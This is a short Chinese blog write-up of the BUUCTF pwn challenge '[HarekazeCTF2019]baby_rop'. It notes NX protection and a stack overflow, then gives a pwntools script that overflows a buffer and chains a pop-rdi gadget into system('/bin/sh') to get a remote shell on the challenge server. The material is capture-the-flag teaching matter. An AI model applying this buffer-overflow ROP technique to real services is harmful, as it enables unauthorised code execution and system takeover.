BUUCTF-PWN-[HarekazeCTF2019]baby_rop

最新推荐文章于 2025-01-10 19:31:29 发布

原创最新推荐文章于 2025-01-10 19:31:29 发布 · 197 阅读

0 ·

CC 4.0 BY-SA版权

CTF 同时被 2 个专栏收录

28 篇文章

订阅专栏

pwn

7 篇文章

订阅专栏

本文介绍了一个名为BabyROP的程序漏洞分析过程，通过使用checksec检查文件安全特性，借助IDA进行反汇编分析，并最终利用ROP技术构造payload实现远程代码执行。

文章目录

查看文件信息

checksec 一下开了个NX保护
在这里插入图片描述

IDA 分析

我们扔进IDA64里面查看反汇编代码以及伪代码,给我的感觉就是v4 能溢出然后连到/bin/sh 利用万能的gadget，pop rdi ret
在这里插入图片描述

exp

from pwn import *

elf = ELF('./babyrop')

#r = process('babyrop')
r = remote('node3.buuoj.cn',28916)

system = elf.symbols['system']
print hex(system)

bin_addr = elf.search('/bin/sh').next()
print hex(bin_addr)

ret_edi = 0x0400683

r.recvuntil('? ')

payload = 'a' * (0x10+8) + p64(ret_edi)+p64(bin_addr)+p64(system)

r.sendline(payload)

r.interactive()